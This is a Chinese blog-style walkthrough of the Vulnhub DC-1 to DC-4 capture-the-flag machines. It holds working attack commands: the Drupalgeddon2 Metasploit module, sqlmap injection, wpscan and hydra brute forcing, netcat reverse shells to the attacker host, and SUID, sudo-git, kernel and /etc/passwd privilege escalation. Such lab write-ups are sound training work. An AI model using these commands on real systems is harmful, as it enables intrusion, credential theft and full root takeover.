DC靶机1

2024-07-16 04:59| 来源: 网络整理| 查看: 265

DC1 文章前提概述

本文介绍DC-1靶机的渗透测试流程涉及知识点(比较基础): nmap扫描网段端口服务 msf的漏洞搜索 drupal7的命令执行利用 netcat反向shell mysql的基本操作 sudi提权

基本环境搭建

靶机下载地址:http://www.five86.com/downloads/DC-1.zip https://download.vulnhub.com/dc/DC-1.zip VMware（windows）:https://www.52pojie.cn/thread-1026907-1-1.html 选择高版本的vmware，不然可能不支持ova导入下载导入开机vmware设置选择nat模式，目的让你的攻击机和靶机在一个网段，可以根据网络环境自行设置只要在一个网段就行。

基础信息收集 nmap扫描 nmap -A 192.168.124.0/24

扫描结果开发80，111，22ssh端口

Host is up (0.00039s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) | 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) |_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Welcome to Drupal Site | Drupal Site 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 37454/udp status | 100024 1 39208/udp6 status | 100024 1 52048/tcp status |_ 100024 1 57763/tcp6 status MAC Address: 00:0C:29:A6:59:A3 (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.39 ms 192.168.124.145 先爆破一下ssh吧(无结果) nmap --script=ssh-brute 192.168.124.145

upload successful

访问80端口

upload successful 尝试了注册，登录的弱密码，修改密码，无效，但发现admin用户存在 wappalyzer指纹识别，发现室Drupal系统

去漏洞库和msf搜索一下 msfconsole search Drupal

upload successful

upload successful 发现有漏洞可以用那就开始msf吧使用2018年的漏洞吧，是个远程代码执行(代码审计现在真心看不懂，😔) https://www.exploit-db.com/exploits/44482 https://paper.seebug.org/567/

msf发现连接成功 use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.124.145 run

upload successful

寻找一下flag shell find / -name flag*

upload successful

/home/flag4 /home/flag4/flag4.txt /var/www/flag1.txt

打开flag1.txt试试

cat /var/www/flag1.txt

upload successful 翻译一下:每一个好的CMS都需要一个配置文件--你也一样。搜索Drupal的配置文件 /var/www/sites/default/settings.php，打开

cat /var/www/sites/default/settings.php * * flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? * */ $databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), ); 发现了flag2和数据库的账号密码，尝试连接一下

先弄一下交互shell吧

python -c 'import pty;pty.spawn("/bin/bash")'

upload successful 连接数据库尝试一下

mysql -u dbuser -p R0ck3t 查看一下node和user表，发现flag3 select * from node; select * from users;

upload successful 为什么要看node表呢？？？(user表就不说了吧) 因为drupal node机制 drupal node机制理解 so，尝试获得登录的密码，hash值破解可能不太现实我们注册一个账号将二者hash互换不就可以了我丢不行，注册没法写密码，那找到加密脚本自己加密一个不就行了加密脚本位置

scripts/password-hash.sh upload successful

php scripts/password-hash.sh admin password: admin hash: $S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.

尝试更换管理员密码的hash

update users set pass='$S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.' where name='admin';

upload successful 下面登录测试一下,账号admin密码admin 在content中发现 Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

也就是说我们需要寻找密码，而且提示shadow，之前的flag4还没看

upload successful Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is? 应该是让获得管理员权限，再去/etc/shadow看看

upload successful 尝试给权限，还是不行那只能尝试提权了

suid提权

SUID是set uid的简称，它出现在文件所属主权限的执行位上面，标志为 s 。当设置了SUID后，UMSK第一位为4。我们知道，我们账户的密码文件存放在/etc/shadow中，而/etc/shadow的权限为 ----------。也就是说：只有root用户可以对该目录进行操作，而其他用户连查看的权限都没有。当普通用户要修改自己的密码的时候，可以使用passwd这个指令。passwd这个指令在/bin/passwd下，当我们执行这个命令后，就可以修改/etc/shadow下的密码了。那么为什么我们可以通过passwd这个指令去修改一个我们没有权限的文件呢？这里就用到了suid，suid的作用是让执行该命令的用户以该命令拥有者即root的权限去执行，意思是当普通用户执行passwd时会拥有root的权限，这样就可以修改/etc/passwd这个文件了。参考文章:Linux下的用户、组和权限已知的可用来提权的linux可行性的文件列表如下： nmap,vim,find,bash,more,less,nano,cp 发现系统上运行的所有SUID可执行文件

不同系统适用于不同的命令 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;

upload successful 尝试查看find是否有suid权限

/usr/bin/find /tmp -exec whoami \;

find 命令说明 -exec 参数后面跟的是command命令，它的终止是以;为结束标志的，所以这句命令后面的分号是不可缺少的，考虑到各个系统中分号会有不同的意义，所以前面加反斜杠。-exec参数后面跟的就是我们想进一步操作的命令,so，我们可以以root的权限命令执行了

反弹一个shell，当然find和执行命令，我们也可以返回一个root的netcat的后门

/usr/bin/find ./aaa -exec '/bin/sh' \; /usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \; netcat 192.168.124.145 4444

upload successful 最后,获得最后一个flag

cat thefinalflag.txt

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

参考文章

freebuf:https://www.freebuf.com/articles/network/218073.html 知乎:https://zhuanlan.zhihu.com/p/135342104 W3:https://medium.com/@w3rallmachines/dc-1-vulnhub-walkthrough-3a2e7042c640

DC2 环境搭建

靶机下载地址:http://www.five86.com/downloads/DC-2.zip

基本信息收集

nmap基本扫描，发现ip地址192.168.124.146，开发端口80，使用的wordpress框架

nmap -A 192.168.124.0/24 Nmap scan report for dc-2 (192.168.124.146) Host is up (0.00036s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-generator: WordPress 4.7.10 |_http-server-header: Apache/2.4.10 (Debian) |_http-title: DC-2 – Just another WordPress site |_https-redirect: ERROR: Script execution failed (use -d to debug) MAC Address: 00:0C:29:94:8C:B4 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop

对端口进一步扫描,发现开发了7744端口(不清楚是什么服务，因该是ssh吧)：

nmap -sS 192.168.124.146 -p 1-65535 Nmap scan report for dc-2 (192.168.124.146) Host is up (0.00094s latency). Not shown: 65533 closed ports PORT STATE SERVICE 80/tcp open http 7744/tcp open raqmon-pdu

访问192.168.124.146发现访问不了，这里需要改下本地的dns

linux: vim /etc/hosts windows: C:\Windows\System32\drivers\etc

upload successful 访问果然是个wordpress框架

flag1

发现有flag,点进去，提示用cewl来获取密码，所有应该是爆破密码之类的，且提示自己的密码字典可能无效，且有时没法获得所有密码，提示用其他的身份去登录 upload successful

那还说什么cewl搞起

cewl是通过爬行网站获取关键信息创建一个密码字典

cewl http://dc-2/index.php/flag/ -w dict.txt -w 输出的文件名称

发现主题是wordpress，那就扫描一下用户吧，提示密码了，因该是让登录使用wpscan工具：

WPScan是Kali Linux默认自带的一款漏洞扫描工具，它采用Ruby编写，能够扫描WordPress网站中的多种安全漏洞，其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞，并且支持最新版本的WordPress。值得注意的是，它不仅能够扫描类似robots.txt这样的敏感文件，而且还能够检测当前已启用的插件和其他功能。该扫描器可以实现获取站点用户名，获取安装的所有插件、主题，以及存在漏洞的插件、主题，并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。

枚举一下用户,枚举出admin，jerry，tom

wpscan --url http://dc-2 --enumerate u [+] URL: http://dc-2/ [192.168.124.146] [+] Started: Sat Nov 7 02:23:05 2020 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.10 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access [+] http://dc-2/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03). | Found By: Rss Generator (Passive Detection) | - http://dc-2/index.php/feed/, https://wordpress.org/?v=4.7.10 | - http://dc-2/index.php/comments/feed/, https://wordpress.org/?v=4.7.10 [+] WordPress theme in use: twentyseventeen | Location: http://dc-2/wp-content/themes/twentyseventeen/ | Last Updated: 2020-08-11T00:00:00.000Z | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 2.4 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2' [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] admin | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] jerry | Found By: Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] tom | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

爆破一下用户名和密码 touch users.txt 将用户名admin，jerry，tom存入用刚刚抓取的密码字典和用户字典进行爆破

wpscan --url http://dc-2/ -U users.txt -P dict.txt [!] Valid Combinations Found: | Username: jerry, Password: adipiscing | Username: tom, Password: parturient

成功爆破出了两个用户名和密码，没有admin的 upload successful

尝试登录，登录成功，且在page中发现flag2

upload successful 提示无法利用wordpress采取捷径，尝试令一种方法，之前nmap扫描出了7744端口，那么我们是不是可以尝试ssh登录发现使用tom账号登录成功

ssh [email protected] -p 7744 password:parturient 尝试读取文件

upload successful 发现被rbash，也就是说是被受限的shell 参考链接:freebuf

先尝试"/"能不能用

upload successful cp命令

upload successful FTP,GDB,main,git没有，发现vi可以用，那就试试被

vi test set shell=/bin/sh shell

upload successful

更改PATH或SHELL环境变量

查看 export -p export HOME='/home/tom' export LANG='en_US.UTF-8' export LOGNAME='tom' export MAIL='/var/mail/tom' export PATH='/home/tom/usr/bin' export PWD='/home/tom' export SHELL='/bin/rbash' export SHLVL='1' export SSH_CLIENT='192.168.124.139 51336 7744' export SSH_CONNECTION='192.168.124.139 51336 192.168.124.146 7744' export SSH_TTY='/dev/pts/1' export TERM='xterm-256color' export USER='tom' export VIM='/usr/share/vim' export VIMRUNTIME='/usr/share/vim/vim74' export _='whoami'

修改path

export PATH="/usr/sbin:/usr/bin:/rbin:/bin"

打开flag3.txt发现，提示要切换用户到jerry upload successful

切换用户，home发现flag4

upload successful

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. 😃

Go on - git outta here!!!!

这里提示git提权 sudo git help config

upload successful 成功获取root权限，读取文件

upload successful

Congratulatons!!!

A special thanks to all those who sent me tweets and provided me with feedback - it's all greatly appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

参考文章

linux提权

freebuf

wpscan

vulnhub: DC 2

DC3 靶场搭建

靶场的下载：http://www.five86.com/downloads/DC-3-2.zip

基本信息收集 nmap -sS A 192.168.124.0/24 Nmap scan report for 192.168.124.147 Host is up (0.00041s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Home MAC Address: 00:0C:29:EF:73:10 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.41 ms 192.168.124.147

对端口的进一步扫描，没有发现其他的端口

nmap 192.168.124.147

访问192.168.124.147的80端口，发现提示，和cms是joomla upload successful 使用joomscan进行进一步扫描

它是一个Joomla扫描仪。它将帮助网络开发人员和网站管理员帮助确定已部署的Joomla网站可能存在的安全漏洞。

安装joomscan(kali中) apt-get install joomscan joomscan --url http://192.168.124.147

upload successful 也可使用CMSseek进一步扫描

安装CMSseek git clone https://github.com/Tuhinshubhra/CMSeeK 使用 python3 cmseek.py --url 192.168.124.147

信息一样 upload successful

搜索joomla漏洞 searchsploit joomla 3.7.0

upload successful 打开查看漏洞详情

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

查看发现存在sql注入，具体漏原理seebug 简单来说就是 com_fields组件，对请求数据没有进行过滤，从而导致sql注入，未过滤位置 upload successful 测试一下

http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)

upload successful

sqlmap进行注入爆数据库名 sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" --dbs

upload successful

爆表名 qlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" --tables

upload successful

爆字段名 sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" --columns

upload successful

爆数据 sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" -C name,password --dump

upload successful

尝试破解密码 $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 创建文件 echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > test 爆破密码 john test john test --show

John the Ripper (“JtR”) 是一个非常有用的工具。这是一个快速的密码破解，适用于Windows和许多Linux系统。它具有很多功能，对于很多密码破解均有奇效。

upload successful

登录写shell页面

登录网站:http://192.168.124.147/administrator/ 编写新页面 upload successful 点击编写 new file编写

蚁剑链接

upload successful

尝试提权

尝试suid提权

find / -perm -u=s -type f 2>/dev/null

发现没有可提权程序

upload successful 尝试命令提权，发现咩用尝试linux内核提权

uname -a cat /etc/issue

upload successful 寻找内核提权脚本

searchsploit Ubuntu 16.04

尝试一下 upload successful

cat \usr\share\exploitdb\exploits\linux\local\39772.txt Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime, unprivileged code can use the bpf() syscall to load eBPF socket filter programs. These conditions are fulfilled in Ubuntu 16.04. When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first function that touches the supplied eBPF instructions is replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF map file descriptors and looks up pointers for the corresponding map files. This is done as follows: /* look for pseudo eBPF instructions that access map FDs and * replace them with actual map pointers */ static int replace_map_fd_with_map_ptr(struct verifier_env *env) { struct bpf_insn *insn = env->prog->insnsi; int insn_cnt = env->prog->len; int i, j; for (i = 0; i < insn_cnt; i++, insn++) { [checks for bad instructions] if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) { struct bpf_map *map; struct fd f; [checks for bad instructions] f = fdget(insn->imm); map = __bpf_map_get(f); if (IS_ERR(map)) { verbose("fd %d is not pointing to valid bpf_map\n", insn->imm); fdput(f); return PTR_ERR(map); } [...] } } [...] } __bpf_map_get contains the following code: /* if error is returned, fd is released. * On success caller should complete fd access with matching fdput() */ struct bpf_map *__bpf_map_get(struct fd f) { if (!f.file) return ERR_PTR(-EBADF); if (f.file->f_op != &bpf_map_fops) { fdput(f); return ERR_PTR(-EINVAL); } return f.file->private_data; } The problem is that when the caller supplies a file descriptor number referring to a struct file that is not an eBPF map, both __bpf_map_get() and replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If __fget_light() detected that the file descriptor table is shared with another task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause the reference count of the struct file to be over-decremented, allowing an attacker to create a use-after-free situation where a struct file is freed although there are still references to it. A simple proof of concept that causes oopses/crashes on a kernel compiled with memory debugging options is attached as crasher.tar. One way to exploit this issue is to create a writable file descriptor, start a write operation on it, wait for the kernel to verify the file's writability, then free the writable file and open a readonly file that is allocated in the same place before the kernel writes into the freed file, allowing an attacker to write data to a readonly file. By e.g. writing to /etc/crontab, root privileges can then be obtained. There are two problems with this approach: The attacker should ideally be able to determine whether a newly allocated struct file is located at the same address as the previously freed one. Linux provides a syscall that performs exactly this comparison for the caller: kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd). In order to make exploitation more reliable, the attacker should be able to pause code execution in the kernel between the writability check of the target file and the actual write operation. This can be done by abusing the writev() syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays read accesses, then mmap()s a file containing a struct iovec from that FUSE filesystem and passes the result of mmap() to writev(). (Another way to do this would be to use the userfaultfd() syscall.) writev() calls do_writev(), which looks up the struct file * corresponding to the file descriptor number and then calls vfs_writev(). vfs_writev() verifies that the target file is writable, then calls do_readv_writev(), which first copies the struct iovec from userspace using import_iovec(), then performs the rest of the write operation. Because import_iovec() performs a userspace memory access, it may have to wait for pages to be faulted in - and in this case, it has to wait for the attacker-owned FUSE filesystem to resolve the pagefault, allowing the attacker to suspend code execution in the kernel at that point arbitrarily. An exploit that puts all this together is in exploit.tar. Usage: user@host:~/ebpf_mapfd_doubleput$ ./compile.sh user@host:~/ebpf_mapfd_doubleput$ ./doubleput starting writev woohoo, got pointer reuse writev returned successfully. if this worked, you'll have a root shell in

kali端

netcat -l -p 4444

蚁剑执行

php phpshell.php

upload successful kali收到反弹的shell

upload successful 执行刚刚编译的exp

upload successful 提权成功寻找flag root下

upload successful 成功获得flag

__ __ _ _ ____ _ _ _ _ \ \ / /__| | | | _ \ ___ _ __ ___| | | | | \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | | \ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_| \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_) Congratulations are in order. :-) I hope you've enjoyed this challenge as I enjoyed making it. If there are any ways that I can improve these little challenges, please let me know. As per usual, comments and complaints can be sent via Twitter to @DCAU7 Have a great day!!!! 参考文章

https://www.cnblogs.com/yurang/p/12735286.html

https://www.exploit-db.com/exploits/44227

DC4 靶场的搭建

靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip

基本信息收集

nmap扫描网段

nmap -sS -A 192.168.124.0/24 Nmap scan report for 192.168.124.148 Host is up (0.00022s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA) | 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA) |_ 256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519) 80/tcp open http nginx 1.15.10 |_http-server-header: nginx/1.15.10 |_http-title: System Tools MAC Address: 00:0C:29:40:C9:C1 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.22 ms 192.168.124.148

得到基本信息开放了80，ssh端口，操作系统Debian 先爆破一下ssh吧(无结果)

nmap --script=ssh-brute 192.168.124.148

查看80端口，发现不是cms，是个登录框，提醒admin登录 upload successful 尝试sql,burpsuite跑一下字典没结果，那我再跑一下看看有过滤没(我丢还是啥结果没有)，看来没有注入呀让我百度一下题解，我丢，暴力破解密码可还行，那是时候祭出我100w的大字典了(heng!) 再见没爆破出来直接看答案(我一点也不happy)，看来字典有的落后了

账号:admin 密码:happy 登录进去

尝试登录发现是个命令执行功能，抓包看看，更改一下ls，发现能读取文件，那先读取comment看看是怎么执行的 upload successful

upload successful 我丢，直接shell_exec(),那直接反弹shell

nc 192.168.124.139 4444 -e /bin/bash kali端 netcat -l -p 4444

upload successful 反弹一下交互shell

python -c 'import pty;pty.spawn("/bin/sh")'

upload successful

发现密码

在下面目录发现old-passwords.bak

/home/jim/backups 说是old密码,打开

cat old-passwords.bak 000000 12345 iloveyou 1q2w3e4r5t 1234 123456a qwertyuiop monkey 123321 dragon 654321 666666 123 myspace1 a123456 121212 1qaz2wsx 123qwe 123abc tinkle target123 gwerty 1g2w3e4r gwerty123 zag12wsx 7777777 qwerty1 1q2w3e4r 987654321 222222 qwe123 qwerty123 zxcvbnm 555555 112233 fuckyou asdfghjkl 12345a 123123123 1q2w3e qazwsx loveme1 juventus jennifer1 !~!1 bubbles samuel fuckoff lovers cheese1 0123456 123asd 999999999 madison elizabeth1 music buster1 lauren david1 tigger1 123qweasd taylor1 carlos tinkerbell samantha1 Sojdlg123aljg joshua1 poop stella myspace123 asdasd5 freedom1 whatever1 xxxxxx 00000 valentina a1b2c3 741852963 austin monica qaz123 lovely1 music1 harley1 family1 spongebob1 steven nirvana 1234abcd hellokitty thomas1 cooper 520520 muffin christian1 love13 fucku2 arsenal1 lucky7 diablo apples george1 babyboy1 crystal 1122334455 player1 aa123456 vfhbyf forever1 Password winston chivas1 sexy hockey1 1a2b3c4d pussy playboy1 stalker cherry tweety toyota creative gemini pretty1 maverick brittany1 nathan1 letmein1 cameron1 secret1 google1 heaven martina murphy spongebob uQA9Ebw445 fernando pretty startfinding softball dolphin1 fuckme test123 qwerty1234 kobe24 alejandro adrian september aaaaaa1 bubba1 isabella abc123456 password3 jason1 abcdefg123 loveyou1 shannon 100200 manuel leonardo molly1 flowers 123456z 007007 password. 321321 miguel samsung1 sergey sweet1 abc1234 windows qwert123 vfrcbv poohbear d123456 school1 badboy 951753 123456c 111 steven1 snoopy1 garfield YAgjecc826 compaq candy1 sarah1 qwerty123456 123456l eminem1 141414 789789 maria steelers iloveme1 morgan1 winner boomer lolita nastya alexis1 carmen angelo nicholas1 portugal precious jackass1 jonathan1 yfnfif bitch tiffany rabbit rainbow1 angel123 popcorn barbara brandy starwars1 barney natalia jibril04 hiphop tiffany1 shorty poohbear1 simone albert marlboro hardcore cowboys sydney alex scorpio 1234512345 q12345 qq123456 onelove bond007 abcdefg1 eagles crystal1 azertyuiop winter sexy12 angelina james svetlana fatima 123456k icecream popcorn1

生成爆破字典，爆破ssh 使用hydra，进行爆破,hydra是著名黑客组织thc的一款开源的暴力密码破解工具，可以在线破解多种密码。

破解ssh： hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 破解ftp： hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 爆破ssh hydra -l jim -P passwd.txt -t 10 ssh://192.168.124.148 爆出ssh登录密码 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-10 08:38:19 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 10 tasks per 1 server, overall 10 tasks, 252 login tries (l:1/p:252), ~26 tries per task [DATA] attacking ssh://192.168.124.148:22/ [STATUS] 110.00 tries/min, 110 tries in 00:01h, 142 to do in 00:02h, 10 active [STATUS] 80.00 tries/min, 160 tries in 00:02h, 92 to do in 00:02h, 10 active [22][ssh] host: 192.168.124.148 login: jim password: jibril04 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-10 08:41:16

ssh账号:jim密码:jibril04

upload successful

提示有个mail

读取一下信封

/var/mail/jim

告诉了我们账号密码 upload successful

Password is: ^xHhA&hvim0y See ya, Charles

切换一下用户

su charles

查看能够root执行的命令

sudo -l

upload successful 发有能够以root执行的teehee命令,而teehee的作用是可以向文件中追加内容

提权将账号写入/etc/passwd中

密码设置为空

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

对于admin::0:0:::/bin/bash的解释

[用户名]：[密码]：[UID]：[GID]：[身份描述]：[主目录]：[登录shell]

参考文章 upload successful 也可以不将密码设置为空

mkpasswd -m SHA-512 12345

upload successful 然后

sudo teehee -a /etc/passwd 12345:$6$OXVv4N3qtVc0LQeI$CPmgAD9tTpzpCu86IaC9gIx6MYta8/huc3utEd3WwyhUWSbDxKIwi/3XCAHjOqn.rT/lamYZTxbKDoJXkxXaa1:0:0:::/bin/bash

其中-e 类似等于>> 然后切换用户 upload successful

cat /root/flag.txt 888 888 888 888 8888888b. 888 888 888 888 888 o 888 888 888 888 "Y88b 888 888 888 888 888 d8b 888 888 888 888 888 888 888 888 888 888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888 888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888 88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P 8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " " 888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888 Congratulations!!! Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges. If you enjoyed this CTF, send me a tweet via @DCAU7. 写入定时文件/etc/crontab

向/etc/crontab文件中写入新的定时任务

时间部分全部填写为*，意思是每分钟执行一次，通过写入将/bin/sh的权限修改为4777，这样就可以在非root用户下执行它，并且执行期间拥有root权限。

sudo teehee /etc/crontab * * * * * root chmod 4777 /bin/sh

upload successful

参考文章

安全客

https://www.cnblogs.com/yurang/p/13721862.html

DC5 基本环境的搭建

靶机下载地址：https://download.vulnhub.com/dc/DC-5.zip

